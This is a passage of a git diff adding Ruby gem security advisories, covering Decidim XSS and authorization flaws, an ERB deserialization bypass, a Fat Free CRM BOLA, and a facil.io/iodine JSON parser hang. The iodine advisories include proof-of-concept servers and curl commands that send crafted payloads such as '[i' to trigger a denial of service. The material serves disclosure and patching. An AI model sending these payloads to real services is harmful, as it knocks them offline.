0.1.2" + patched_versions: + - ">= 0.3.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-40070 + - https://github.com/sgbett/bsv-ruby-sdk/security/advisories/GHSA-hc36-c89j-5f4j + - https://github.com/sgbett/bsv-ruby-sdk/pull/306 + - https://github.com/sgbett/bsv-ruby-sdk/commit/4992e8a265fd914a7eeb0405c69d1ff0122a84cc + - https://github.com/sgbett/bsv-ruby-sdk/issues/305 + - https://bsv.brc.dev/peer-to-peer/0052 + - https://advisories.gitlab.com/pkg/gem/bsv-wallet/CVE-2026-40070 + - https://github.com/advisories/GHSA-hc36-c89j-5f4j +--- diff --git a/advisories/_posts/2026-04-13-CVE-2026-23891.md b/advisories/_posts/2026-04-13-CVE-2026-23891.md new file mode 100644 index 00000000..72999c4a --- /dev/null +++ b/advisories/_posts/2026-04-13-CVE-2026-23891.md @@ -0,0 +1,53 @@ +--- +layout: advisory +title: 'CVE-2026-23891 (decidim-core): Decidim has a cross-site scripting (XSS) in + user name' +comments: false +categories: +- decidim-core +advisory: + gem: decidim-core + cve: 2026-23891 + ghsa: fc46-r95f-hq7g + url: https://github.com/decidim/decidim/security/advisories/GHSA-fc46-r95f-hq7g + title: Decidim has a cross-site scripting (XSS) in user name + date: 2026-04-13 + description: |- + ### Impact + + A stored code execution vulnerability in the user name field allows + a low-privileged attacker to execute arbitrary code in the context + of any user who passively visits a comment page, resulting in high + confidentiality and integrity impact across security boundaries. + + ### Patches + + N/A + + ### Workarounds + + Not available + + ### References + + OWASP ASVS v4.0.3-5.1.3 + + ### Credits + + This issue was discovered in a security audit organized by + [octree](https://octree.ch/) and made by + [Secu Labs](https://seculabs.ch/) against Decidim financed + by the city of Lausanne (Switzerland). + cvss_v3: 8.7 + cvss_v4: 9.3 + patched_versions: + - "~> 0.30.5" + - ">= 0.31.1" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-23891 + - https://github.com/decidim/decidim/releases/tag/v0.31.1 + - https://github.com/decidim/decidim/releases/tag/v0.30.5 + - https://github.com/decidim/decidim/security/advisories/GHSA-fc46-r95f-hq7g + - https://github.com/advisories/GHSA-fc46-r95f-hq7g +--- diff --git a/advisories/_posts/2026-04-13-CVE-2026-41316.md b/advisories/_posts/2026-04-13-CVE-2026-41316.md new file mode 100644 index 00000000..e19647d5 --- /dev/null +++ b/advisories/_posts/2026-04-13-CVE-2026-41316.md @@ -0,0 +1,42 @@ +--- +layout: advisory +title: 'CVE-2026-41316 (erb): ERB has an @_init deserialization guard bypass via def_module + / def_method / def_class' +comments: false +categories: +- erb +advisory: + gem: erb + cve: 2026-41316 + ghsa: q339-8rmv-2mhv + url: https://nvd.nist.gov/vuln/detail/CVE-2026-41316 + title: ERB has an @_init deserialization guard bypass via def_module / def_method + / def_class + date: 2026-04-13 + description: |- + ERB implements an @_init guard to prevent code execution when ERB + objects are reconstructed via Marshal.load on untrusted data. However, + ERB#def_method, ERB#def_module, and ERB#def_class evaluate the template + source without checking this guard, allowing an attacker who controls + the data passed to Marshal.load to bypass the protection and execute + arbitrary code. In particular, def_module takes no arguments, making + it straightforward to invoke as part of a deserialization gadget chain. + + Please update the erb gem to version 4.0.3.1, 4.0.4.1, 6.0.1.1, + 6.0.4 or later. + cvss_v3: 8.1 + patched_versions: + - "~> 4.0.3.1" + - "~> 4.0.4.1" + - "~> 6.0.1.1" + - ">= 6.0.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-41316 + - https://www.ruby-lang.org/en/news/2026/07/16/ruby-3-3-12-released + - https://www.ruby-lang.org/en/news/2026/04/21/ruby-4-0-3-released + - https://www.ruby-lang.org/en/news/2026/04/21/erb-cve-2026-41316 + - https://github.com/ruby/erb/blob/master/NEWS.md + - https://github.com/ruby/erb/commit/9d017be4e375cdd058650ce528ee6adfead20cac + - https://github.com/advisories/GHSA-q339-8rmv-2mhv +--- diff --git a/advisories/_posts/2026-04-14-CVE-2026-40869.md b/advisories/_posts/2026-04-14-CVE-2026-40869.md new file mode 100644 index 00000000..908de0a6 --- /dev/null +++ b/advisories/_posts/2026-04-14-CVE-2026-40869.md @@ -0,0 +1,52 @@ +--- +layout: advisory +title: 'CVE-2026-40869 (decidim-core): Decidim amendments can be accepted or rejected + by anyone' +comments: false +categories: +- decidim-core +advisory: + gem: decidim-core + cve: 2026-40869 + ghsa: w5xj-99cg-rccm + url: https://github.com/decidim/decidim/security/advisories/GHSA-w5xj-99cg-rccm + title: Decidim amendments can be accepted or rejected by anyone + date: 2026-04-14 + description: |- + ### Impact + + The vulnerability allows any registered and authenticated user to + accept or reject any amendments. The impact is on any users who + have created proposals where the amendments feature is enabled. + This also elevates the user accepting the amendment as the author + of the original proposal as people amending proposals are provided + coauthorship on the coauthorable resources. + + The only check done when accepting or rejecting amendments is whether + the amendment reactions are enabled for the component: + - https://github.com/decidim/decidim/blob/9d6c3d2efe5a83bb02e095824ff5998d96a75eb7/decidim-core/app/permissions/decidim/permissions.rb#L107 + + The permission checks have been changed at 1b99136 which was + introduced in released version 0.19.0. I have not investigated + whether prior versions are also affected. + + ### Patches + + Not available + + ### Workarounds + + Disable amendment reactions for the amendable component (e.g. proposals). + cvss_v3: 7.5 + unaffected_versions: + - "< 0.19.0" + patched_versions: + - "~> 0.30.5" + - ">= 0.31.1" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-40869 + - https://github.com/decidim/decidim/security/advisories/GHSA-w5xj-99cg-rccm + - https://github.com/decidim/decidim/commit/1b99136a1c7aa02616a0b54a6ab88d12907a57a9 + - https://github.com/advisories/GHSA-w5xj-99cg-rccm +--- diff --git a/advisories/_posts/2026-04-14-CVE-2026-40870.md b/advisories/_posts/2026-04-14-CVE-2026-40870.md new file mode 100644 index 00000000..ace66af6 --- /dev/null +++ b/advisories/_posts/2026-04-14-CVE-2026-40870.md @@ -0,0 +1,104 @@ +--- +layout: advisory +title: 'CVE-2026-40870 (decidim-comments): Decidim''s comments API allows access to + all commentable resources' +comments: false +categories: +- decidim-comments +advisory: + gem: decidim-comments + cve: 2026-40870 + ghsa: ghmh-q25g-gxxx + url: https://github.com/decidim/decidim/security/advisories/GHSA-ghmh-q25g-gxxx + title: Decidim's comments API allows access to all commentable resources + date: 2026-04-14 + description: |- + ### Impact + + The root level `commentable` field in the API allows access to all + commentable resources within the platform, without any permission + checks. All Decidim instances are impacted that have not secured + the `/api` endpoint. The `/api` endpoint is publicly available + with the default configuration. + + ### Patches + + Not available + + ### Workarounds + + To mitigate the issue, you can limit the scope to only authenticated + users by limiting access to the `/api` endpoint. This would require + custom code or installing the 3rd party module `Decidim::Apiauth`. + + With custom code, the `/api` endpoint can be limited to only + authenticated users with the following code (needs to run during + application initialization): + + ```ruby + # Within your application + # config/initializers/limit_api_access.rb + + module LimitApiAccess + extend ActiveSupport::Concern + + included do + prepend_before_action do |controller| + unless controller.send(:user_signed_in?) + render plain: I18n.t("actions.login_before_access", + scope: "decidim.core"), status: :unauthorized + end + end + end + end + + Rails.application.config.to_prepare do + Decidim::Api::ApplicationController.include(LimitApiAccess) + end + ``` + + Please note that this would only disable public access to the API + and all authenticated users would be still able to exploit the + vulnerability. This may be sufficient for some installations, + but not for all. + + Another workaround is to limit the availability of the `/api` + endpoint to only trusted ranges of IPs that need to access the + API. The following Nginx configuration would help limiting the + API access to only specific IPs: + + ``` + location /api { + allow 192.168.1.100; + allow 192.168.1.101; + deny all; + } + ``` + + The same configuration can be also used without the `allow` + statements to disable all traffic to the the `/api` endpoint. + + When considering a workaround and the seriousness of the vulnerability, + please consider the nature of the platform. If the platform is primarily + serving public data, this vulnerability is not serious by its nature. + If the platform is protecting some resources, e.g. inside private + participation spaces, the vulnerability may expose some data to + the attacker that is not meant public. + + If you have enabled the organization setting "Force users to + authenticate before access organization", the scope of this + vulnerability is limited to the users who are allowed to log in + to the Decidim platform. This setting was introduced in version + 0.19.0 and it was applied to the `/api` endpoint in version 0.22.0. + cvss_v3: 7.5 + unaffected_versions: + - "< 0.0.1" + patched_versions: + - "~> 0.30.5" + - ">= 0.31.1" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-40870 + - https://github.com/decidim/decidim/security/advisories/GHSA-ghmh-q25g-gxxx + - https://github.com/advisories/GHSA-ghmh-q25g-gxxx +--- diff --git a/advisories/_posts/2026-04-14-CVE-2026-41146.md b/advisories/_posts/2026-04-14-CVE-2026-41146.md new file mode 100644 index 00000000..d6c2cbdb --- /dev/null +++ b/advisories/_posts/2026-04-14-CVE-2026-41146.md @@ -0,0 +1,279 @@ +--- +layout: advisory +title: 'CVE-2026-41146 (iodine): Uncontrolled resource consumption and loop with unreachable + exit condition in facil.io and downstream iodine ruby gem' +comments: false +categories: +- iodine +advisory: + gem: iodine + cve: 2026-41146 + ghsa: 2x79-gwq3-vxxm + url: https://nvd.nist.gov/vuln/detail/CVE-2026-41146 + title: Uncontrolled resource consumption and loop with unreachable exit condition + in facil.io and downstream iodine ruby gem + date: 2026-04-14 + description: |- + ### Summary + + `fio_json_parse` can enter an infinite loop when it encounters a + nested JSON value starting with `i` or `I`. The process spins in + user space and pegs one CPU core at ~100 instead of returning a + parse error. + + Because `iodine` gem vendors the same parser code, the issue also + affects `iodine` gem when it parses attacker-controlled JSON. + + The smallest reproducer found is `[i`. The quoted-value form that + originally exposed the issue, `[""i`, reaches the same bug because + the parser tolerates missing commas and then treats the trailing + `i` as the start of another value. + + ### Details + + The vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around + the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`; + `master`: lines `434-468` in the current tree as tested). + + This parser is reached from real library entry points, not just + the header in isolation: + + - `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`) + and `402-411` (`fiobj_hash_update_json`) + - `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`) + - `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411` + + Relevant flow: + + 1. Inside an array or object, the parser sees `i` or `I` and jumps + to the `numeral:` label. + + 2. It calls `fio_atol((char **)&tmp)`. + + 3. For a bare `i` / `I`, `fio_atol` consumes zero characters and + leaves `tmp == pos`. + + 4. The current code only falls back to float parsing when + `JSON_NUMERAL[*tmp]` is true. + + 5. `JSON_NUMERAL['i'] == 0`, so the parser incorrectly accepts + the value as an integer and sets `pos = tmp` without advancing. + + 6. Because parsing is still nested (`parser->depth > 0`), the + outer loop continues forever with the same `pos`. + + The same logic exists in `iodine`'s vendored copy at + `ext/iodine/fio_json_parser.h` lines `434-468`. + + Why the `[""i` form hangs: + + 1. The parser accepts the empty string `""` as the first array element. + 2. It does not require a comma before the next token. + 3. The trailing `i` is then parsed as a new nested value. + 4. The zero-progress numeral path above causes the infinite loop. + + Examples that trigger the bug: + + - Array form, minimal: `[i` + - Object form: `{"a":i` + - After a quoted value in an array: `[""i` + - After a quoted value in an object: `{"a":""i` + + ### Minimal standalone program + + Use the normal HTTP stack. The following server calls `http_parse_body(h)`, + which reaches `fiobj_json2obj` and then `fio_json_parse` for + `Content-Type: application/json`. + + ```c + #define _POSIX_C_SOURCE 200809L + + #include + #include + #include + #include + + static void on_request(http_s *h) { + fprintf(stderr, "calling http_parse_body + "); + fflush(stderr); + http_parse_body(h); + fprintf(stderr, "returned from http_parse_body + "); + http_send_body(h, "ok + ", 3); + } + + int main(void) { + if (http_listen("3000", "127.0.0.1", + .on_request = on_request, + .max_body_size = (1024 * 1024), + .log = 1) == -1) { + perror("http_listen"); + return 1; + } + fio_start(.threads = 1, .workers = 1); + return 0; + } + ``` + + `http_parse_body(h)` is the higher-level entry point and, for + `Content-Type: application/json`, it reaches `fiobj_json2obj` + in `lib/facil/http/http.c:1947-1953`. + + Save it as `src/main.c` in a vulnerable `facil.io` checkout + and build it with the repo `makefile`: + + ```bash + git checkout 0.7.6 + mkdir -p src + make NAME=http_json_poc + ``` + + Run: + + ```bash + ./tmp/http_json_poc + ``` + + Then in another terminal send one of these payloads: + + ```bash + printf '[i' | curl --http1.1 -H 'Content-Type: application/json' + -X POST --data-binary @- http://127.0.0.1:3000/ + printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' + -X POST --data-binary @- http://127.0.0.1:3000/ + printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' + -X POST --data-binary @- http://127.0.0.1:3000/ + printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' + -X POST --data-binary @- http://127.0.0.1:3000/ + ``` + + Observed result on a vulnerable build: + + - The server prints `calling http_parse_body` and never reaches + `returned from http_parse_body`. + - The request never completes. + - One worker thread spins until the process is killed. + + ### Downstream impact in `iodine` + + `iodine` vendors the same parser implementation in + `ext/iodine/fio_json_parser.h`, so any `iodine` code path that + parses attacker-controlled JSON through this parser inherits + the same hang / CPU exhaustion behavior. + + Single-file `iodine` HTTP server repro: + + ```ruby + require "iodine" + + APP = proc do |env| + body = env["rack.input"].read.to_s + warn "calling Iodine::JSON.parse on: #{body.inspect}" + Iodine::JSON.parse(body) + warn "returned from Iodine::JSON.parse" + [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok + "]] + end + + Iodine.listen service: :http, + address: "127.0.0.1", + port: "3000", + handler: APP + + Iodine.threads = 1 + Iodine.workers = 1 + Iodine.start + ``` + + Run: + + ```bash + ruby iodine_json_parse_http_poc.rb + ``` + + Then in a second terminal: + + ```bash + printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ + printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ + printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ + printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ + ``` + + On a vulnerable build, the server prints the `calling Iodine::JSON.parse...` + line but never prints the `returned from Iodine::JSON.parse` line + for these payloads. + + ## Impact + + This is a denial-of-service issue. An attacker who can supply JSON + to an affected parser path can cause the process to spin indefinitely + and consume CPU at roughly 100 of one core. In practice, the impact + depends on whether an application exposes parser access to untrusted + clients, but for services that do, a single crafted request can tie + up a worker or thread until it is killed or restarted. + + I would describe the impact as: + + - Availability impact: high for affected parser entry points + - Confidentiality impact: none observed + - Integrity impact: none observed + + ## Suggested Patch + Treat zero-consumption numeric parses as failures before accepting the token. + + ```diff + diff --git a/lib/facil/fiobj/fio_json_parser.h \ + b/lib/facil/fiobj/fio_json_parser.h + @@ + uint8_t *tmp = pos; + long long i = fio_atol((char **)&tmp); + if (tmp > limit) + goto stop; + - if (!tmp || JSON_NUMERAL[*tmp]) { + + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) { + tmp = pos; + double f = fio_atof((char **)&tmp); + if (tmp > limit) + goto stop; + - if (!tmp || JSON_NUMERAL[*tmp]) + + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) + goto error; + fio_json_on_float(parser, f); + pos = tmp; + ``` + + This preserves permissive `inf` / `nan` handling when the float + parser actually consumes input, but rejects bare `i` / `I` tokens + that otherwise leave the cursor unchanged. + + The same change should be mirrored to `iodine`'s vendored copy: + + - `ext/iodine/fio_json_parser.h` + + + ## Impact + - `facil.io` + - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e` + (`git describe`: `0.7.5-24-g162df840`) + - Verified on tagged releases `0.7.5` and `0.7.6` + - `iodine` Ruby gem + - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8` + - Verified on tag / gem version `v0.7.58` + - The gem vendors a copy of the vulnerable parser in + `ext/iodine/fio_json_parser.h` + cvss_v4: 8.7 + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-41146 + - https://github.com/boazsegev/iodine/releases/tag/v0.7.58 + - https://github.com/boazsegev/iodine/commit/0855989d74098d838b972520835cfc256bc479bc + - https://github.com/boazsegev/facil.io/commit/5128747363055201d3ecf0e29bf0a961703c9fa0 + - https://github.com/boazsegev/facil.io/security/advisories/GHSA-2x79-gwq3-vxxm + - https://github.com/advisories/GHSA-2x79-gwq3-vxxm + notes: | + - FYI: iodine commit above contains the unreleased patch. + - Found GHSA's `patched_versions:` field is "0.7.59" but never released. +--- diff --git a/advisories/_posts/2026-04-14-GHSA-2x79-gwq3-vxxm.md b/advisories/_posts/2026-04-14-GHSA-2x79-gwq3-vxxm.md new file mode 100644 index 00000000..80942f3e --- /dev/null +++ b/advisories/_posts/2026-04-14-GHSA-2x79-gwq3-vxxm.md @@ -0,0 +1,269 @@ +--- +layout: advisory +title: 'GHSA-2x79-gwq3-vxxm (iodine): Uncontrolled resource consumption and loop with + unreachable exit condition in facil.io and downstream iodine ruby gem' +comments: false +categories: +- iodine +advisory: + gem: iodine + ghsa: 2x79-gwq3-vxxm + url: https://github.com/boazsegev/facil.io/security/advisories/GHSA-2x79-gwq3-vxxm + title: Uncontrolled resource consumption and loop with unreachable exit condition + in facil.io and downstream iodine ruby gem + date: 2026-04-14 + description: |- + ### Summary + + `fio_json_parse` can enter an infinite loop when it encounters a + nested JSON value starting with `i` or `I`. The process spins in + user space and pegs one CPU core at ~100 instead of returning a + parse error. Because `iodine` vendors the same parser code, the + issue also affects `iodine` when it parses attacker-controlled JSON. + + The smallest reproducer found is `[i`. The quoted-value form that + originally exposed the issue, `[""i`, reaches the same bug because + the parser tolerates missing commas and then treats the trailing + `i` as the start of another value. + + ### Details + + The vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around + the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`; + `master`: lines `434-468` in the current tree as tested). + + This parser is reached from real library entry points, not just + the header in isolation: + + - `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`) + and `402-411` (`fiobj_hash_update_json`) + - `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`) + - `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411` + + Relevant flow: + + 1. Inside an array or object, the parser sees `i` or `I` and jumps + to the `numeral:` label. + + 2. It calls `fio_atol((char **)&tmp)`. + + 3. For a bare `i` / `I`, `fio_atol` consumes zero characters and + leaves `tmp == pos`. + + 4. The current code only falls back to float parsing when + `JSON_NUMERAL[*tmp]` is true. + + 5. `JSON_NUMERAL['i'] == 0`, so the parser incorrectly accepts + the value as an integer and sets `pos = tmp` without advancing. + + 6. Because parsing is still nested (`parser->depth > 0`), the + outer loop continues forever with the same `pos`. + + The same logic exists in `iodine`'s vendored copy at + `ext/iodine/fio_json_parser.h` lines `434-468`. + + Why the `[""i` form hangs: + + 1. The parser accepts the empty string `""` as the first array element. + 2. It does not require a comma before the next token. + 3. The trailing `i` is then parsed as a new nested value. + 4. The zero-progress numeral path above causes the infinite loop. + + Examples that trigger the bug: + + - Array form, minimal: `[i` + - Object form: `{"a":i` + - After a quoted value in an array: `[""i` + - After a quoted value in an object: `{"a":""i` + + ### Minimal standalone program + + Use the normal HTTP stack. The following server calls `http_parse_body(h)`, + which reaches `fiobj_json2obj` and then `fio_json_parse` for + `Content-Type: application/json`. + + ```c + #define _POSIX_C_SOURCE 200809L + + #include + #include + #include + #include + + static void on_request(http_s *h) { + fprintf(stderr, "calling http_parse_body + "); + fflush(stderr); + http_parse_body(h); + fprintf(stderr, "returned from http_parse_body + "); + http_send_body(h, "ok + ", 3); + } + + int main(void) { + if (http_listen("3000", "127.0.0.1", + .on_request = on_request, + .max_body_size = (1024 * 1024), + .log = 1) == -1) { + perror("http_listen"); + return 1; + } + fio_start(.threads = 1, .workers = 1); + return 0; + } + ``` + + `http_parse_body(h)` is the higher-level entry point and, for + `Content-Type: application/json`, it reaches `fiobj_json2obj` + in `lib/facil/http/http.c:1947-1953`. + + Save it as `src/main.c` in a vulnerable `facil.io` checkout + and build it with the repo `makefile`: + + ```bash + git checkout 0.7.6 + mkdir -p src + make NAME=http_json_poc + ``` + + Run: + + ```bash + ./tmp/http_json_poc + ``` + + Then in another terminal send one of these payloads: + + ```bash + printf '[i' | curl --http1.1 -H 'Content-Type: application/json' + -X POST --data-binary @- http://127.0.0.1:3000/ + printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' + -X POST --data-binary @- http://127.0.0.1:3000/ + printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' + -X POST --data-binary @- http://127.0.0.1:3000/ + printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' + -X POST --data-binary @- http://127.0.0.1:3000/ + ``` + + Observed result on a vulnerable build: + + - The server prints `calling http_parse_body` and never reaches + `returned from http_parse_body`. + - The request never completes. + - One worker thread spins until the process is killed. + + ### Downstream impact in `iodine` + + `iodine` vendors the same parser implementation in + `ext/iodine/fio_json_parser.h`, so any `iodine` code path that + parses attacker-controlled JSON through this parser inherits + the same hang / CPU exhaustion behavior. + + Single-file `iodine` HTTP server repro: + + ```ruby + require "iodine" + + APP = proc do |env| + body = env["rack.input"].read.to_s + warn "calling Iodine::JSON.parse on: #{body.inspect}" + Iodine::JSON.parse(body) + warn "returned from Iodine::JSON.parse" + [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok + "]] + end + + Iodine.listen service: :http, + address: "127.0.0.1", + port: "3000", + handler: APP + + Iodine.threads = 1 + Iodine.workers = 1 + Iodine.start + ``` + + Run: + + ```bash + ruby iodine_json_parse_http_poc.rb + ``` + + Then in a second terminal: + + ```bash + printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ + printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ + printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ + printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ + ``` + + On a vulnerable build, the server prints the `calling Iodine::JSON.parse...` + line but never prints the `returned from Iodine::JSON.parse` line + for these payloads. + + ## Impact + + This is a denial-of-service issue. An attacker who can supply JSON + to an affected parser path can cause the process to spin indefinitely + and consume CPU at roughly 100 of one core. In practice, the impact + depends on whether an application exposes parser access to untrusted + clients, but for services that do, a single crafted request can tie + up a worker or thread until it is killed or restarted. + + I would describe the impact as: + + - Availability impact: high for affected parser entry points + - Confidentiality impact: none observed + - Integrity impact: none observed + + ## Suggested Patch + Treat zero-consumption numeric parses as failures before accepting the token. + + ```diff + diff --git a/lib/facil/fiobj/fio_json_parser.h \ + b/lib/facil/fiobj/fio_json_parser.h + @@ + uint8_t *tmp = pos; + long long i = fio_atol((char **)&tmp); + if (tmp > limit) + goto stop; + - if (!tmp || JSON_NUMERAL[*tmp]) { + + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) { + tmp = pos; + double f = fio_atof((char **)&tmp); + if (tmp > limit) + goto stop; + - if (!tmp || JSON_NUMERAL[*tmp]) + + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) + goto error; + fio_json_on_float(parser, f); + pos = tmp; + ``` + + This preserves permissive `inf` / `nan` handling when the float + parser actually consumes input, but rejects bare `i` / `I` tokens + that otherwise leave the cursor unchanged. + + The same change should be mirrored to `iodine`'s vendored copy: + + - `ext/iodine/fio_json_parser.h` + + + ## Impact + - `facil.io` + - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e` + (`git describe`: `0.7.5-24-g162df840`) + - Verified on tagged releases `0.7.5` and `0.7.6` + - `iodine` Ruby gem + - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8` + - Verified on tag / gem version `v0.7.58` + - The gem vendors a copy of the vulnerable parser in + `ext/iodine/fio_json_parser.h` + related: + url: + - https://github.com/boazsegev/iodine/releases/tag/v0.7.58 + - https://github.com/boazsegev/facil.io/security/advisories/GHSA-2x79-gwq3-vxxm + - https://github.com/advisories/GHSA-2x79-gwq3-vxxm +--- diff --git a/advisories/_posts/2026-04-14-GHSA-9pm8-vwc5-w2hm.md b/advisories/_posts/2026-04-14-GHSA-9pm8-vwc5-w2hm.md new file mode 100644 index 00000000..0884fe66 --- /dev/null +++ b/advisories/_posts/2026-04-14-GHSA-9pm8-vwc5-w2hm.md @@ -0,0 +1,40 @@ +--- +layout: advisory +title: 'GHSA-9pm8-vwc5-w2hm (fat_free_crm): Fat Free CRM has BOLA in DELETE /emails/:id + - Any authenticated user can hit this endpoint and delete emails by ID' +comments: false +categories: +- fat_free_crm +advisory: + gem: fat_free_crm + ghsa: 9pm8-vwc5-w2hm + url: https://github.com/fatfreecrm/fat_free_crm/security/advisories/GHSA-9pm8-vwc5-w2hm + title: Fat Free CRM has BOLA in DELETE /emails/:id - Any authenticated user can + hit this endpoint and delete emails by ID + date: 2026-04-14 + description: |- + Fat Free CRM has BOLA (Broken Object Level Authorization) in + DELETE /emails/:id - Any authenticated user can hit this + endpoint and delete emails by ID + + ### Impact + + Authenticated users can delete emails imported into the system + assigned to another user; where the + [Email Dropbox](https://github.com/fatfreecrm/fat_free_crm/wiki/Email-Dropbox) + is in use. + + ### Workarounds + + Disable use of email dropbox. + cvss_v3: 2.1 + cvss_v4: 2.1 + patched_versions: + - ">= 0.26.0" + related: + url: + - https://rubygems.org/gems/fat_free_crm/versions/0.26.0 + - https://github.com/fatfreecrm/fat_free_crm/releases/tag/v0.26.0 + - https://github.com/fatfreecrm/fat_free_crm/security/advisories/GHSA-9pm8-vwc5-w2hm + - https://github.com/advisories/GHSA-9pm8-vwc5-w2hm +--- diff --git a/advisories/_posts/2026-04-14-GHSA-ghmh-q25g-gxxx.md b/advisories/_posts/2026-04-14-GHSA-ghmh-q25g-gxxx.md new file mode 100644 index 00000000..d96a0826 --- /dev/null +++ b/advisories/_posts/2026-04-14-GHSA-ghmh-q25g-gxxx.md @@ -0,0 +1,102 @@ +--- +layout: advisory +title: 'GHSA-ghmh-q25g-gxxx (decidim-comments): Decidim''s comments API allows access + to all commentable resources' +comments: false +categories: +- decidim-comments +advisory: + gem: decidim-comments + ghsa: ghmh-q25g-gxxx + url: https://github.com/decidim/decidim/security/advisories/GHSA-ghmh-q25g-gxxx + title: Decidim's comments API allows access to all commentable resources + date: 2026-04-14 + description: |- + ### Impact + + The root level `commentable` field in the API allows access to all + commentable resources within the platform, without any permission + checks. All Decidim instances are impacted that have not secured + the `/api` endpoint. The `/api` endpoint is publicly available + with the default configuration. + + ### Patches + + Not available + + ### Workarounds + + To mitigate the issue, you can limit the scope to only authenticated + users by limiting access to the `/api` endpoint. This would require + custom code or installing the 3rd party module `Decidim::Apiauth`. + + With custom code, the `/api` endpoint can be limited to only + authenticated users with the following code (needs to run during + application initialization): + + ```ruby + # Within your application + # config/initializers/limit_api_access.rb + + module LimitApiAccess + extend ActiveSupport::Concern + + included do + prepend_before_action do |controller| + unless controller.send(:user_signed_in?) + render plain: I18n.t("actions.login_before_access", + scope: "decidim.core"), status: :unauthorized + end + end + end + end + + Rails.application.config.to_prepare do + Decidim::Api::ApplicationController.include(LimitApiAccess) + end + ``` + + Please note that this would only disable public access to the API + and all authenticated users would be still able to exploit the + vulnerability. This may be sufficient for some installations, + but not for all. + + Another workaround is to limit the availability of the `/api` + endpoint to only trusted ranges of IPs that need to access the + API. The following Nginx configuration would help limiting the + API access to only specific IPs: + + ``` + location /api { + allow 192.168.1.100; + allow 192.168.1.101; + deny all; + } + ``` + + The same configuration can be also used without the `allow` + statements to disable all traffic to the the `/api` endpoint. + + When considering a workaround and the seriousness of the vulnerability, + please consider the nature of the platform. If the platform is primarily + serving public data, this vulnerability is not serious by its nature. + If the platform is protecting some resources, e.g. inside private + participation spaces, the vulnerability may expose some data to + the attacker that is not meant public. + + If you have enabled the organization setting "Force users to + authenticate before access organization", the scope of this + vulnerability is limited to the users who are allowed to log in + to the Decidim platform. This setting was introduced in version + 0.19.0 and it was applied to the `/api` endpoint in version 0.22.0. + cvss_v3: 7.5 + unaffected_versions: + - "< 0.0.1" + patched_versions: + - "~> 0.30.5" + - ">= 0.31.1" + related: + url: + - https://github.com/decidim/decidim/security/advisories/GHSA-ghmh-q25g-gxxx + - https://github.com/advisories/GHSA-ghmh-q25g-gxxx +--- diff --git a/advisories/_posts/2026-04-14-GHSA-w5xj-99cg-rccm.md b/advisories/_posts/2026-04-14-GHSA-w5xj-99cg-rccm.md new file mode 100644 index 00000000..2ebd44f9 --- /dev/null +++ b/advisories/_posts/2026-04-14-GHSA-w5xj-99cg-rccm.md @@ -0,0 +1,50 @@ +--- +layout: advisory +title: 'GHSA-w5xj-99cg-rccm (decidim-core): Decidim amendments can be accepted or + rejected by anyone' +comments: false +categories: +- decidim-core +advisory: + gem: decidim-core + ghsa: w5xj-99cg-rccm + url: https://github.com/decidim/decidim/security/advisories/GHSA-w5xj-99cg-rccm + title: Decidim amendments can be accepted or rejected by anyone + date: 2026-04-14 + description: |- + ### Impact + + The vulnerability allows any registered and authenticated user to + accept or reject any amendments. The impact is on any users who + have created proposals where the amendments feature is enabled. + This also elevates the user accepting the amendment as the author + of the original proposal as people amending proposals are provided + coauthorship on the coauthorable resources. + + The only check done when accepting or rejecting amendments is whether + the amendment reactions are enabled for the component: + - https://github.com/decidim/decidim/blob/9d6c3d2efe5a83bb02e095824ff5998d96a75eb7/decidim-core/app/permissions/decidim/permissions.rb#L107 + + The permission checks have been changed at 1b99136 which was + introduced in released version 0.19.0. I have not investigated + whether prior versions are also affected. + + ### Patches + + Not available + + ### Workarounds + + Disable amendment reactions for the amendable component (e.g. proposals). + cvss_v3: 7.5 + unaffected_versions: + - "< 0.19.0" + patched_versions: + - "~> 0.30.5" + - ">= 0.31.1" + related: + url: + - https://github.com/decidim/decidim/security/advisories/GHSA-w5xj-99cg-rccm + - https://github.com/decidim/decidim/commit/1b99136a1c7aa02616a0b54a6ab88d12907a57a9 + - https://github.com/advisories/GHSA-w5xj-99cg-rccm +--- diff --git 